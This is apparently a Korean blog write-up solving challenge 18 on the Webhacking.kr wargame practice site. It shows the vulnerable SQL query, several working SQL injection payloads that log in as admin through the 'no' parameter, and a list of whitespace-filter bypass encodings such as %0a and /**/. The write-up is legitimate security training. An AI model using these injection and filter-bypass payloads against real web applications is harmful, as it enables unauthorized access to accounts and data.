18번 문제 풀이 

 

 

 

이번 문제는 여러 가지 방식으로 풀 수 있다.

이미 id='guest' 로 고정되어 있기 때문에,

뒤에 no 값을 부정을 하고 or 를 적용하여 새롭게 admin 값을 적용할 수 있다.

혹은 

no 값 참으로 만들고, admin 값을 넣을 수 있다.

 

 

주석을 보면 admin's no = 2 임을 알 수 있다. 

고로 guest's no = 1 라고 추측할 수 있다.

 

1을 입력했을 때, "hi guest" 출력

 

 

 

select id from chall18 where id='guest' and no=$_GET[no]

 

1. 참 > or 를 사용하여 admin 승인

   no=2%0aor%0aid%3D%27admin%27   // 공백을 필터링하기 때문에 %20대신 %0a로 우회!

   no=2 or id='admin'

2. 거짓 > no를 부정하고 admin 승인 

  no=-1%0aor%0ano=2    // no=-1 or no=2

  no=-1%0aor%0a1%0alimit%0a1%2C1    // no=-1 or 1 limit 1,1  -> no 부정하고 항상 참인 결과를 만들어 limit 연산자를 사용하여 두번째 결과 값 출력하는 방법  

 

 

* 빈칸 우회 

' ' : ( ), /**/, %09, %0a, %0c, %0b, +

 

 

 내가 작성한 답!!

 

이것도 가능! 

 

첫번째 방법을 사용했다. 

 

limit 사용했을 때도 성공!

 

성공!

'War Game > Webhacking.kr' 카테고리의 다른 글

Webhacking.kr : challenge(old) 1번 풀기  (0) 2019.09.25
Webhacking.kr 리뉴얼 : 회원 가입  (0) 2019.09.25

+ Recent posts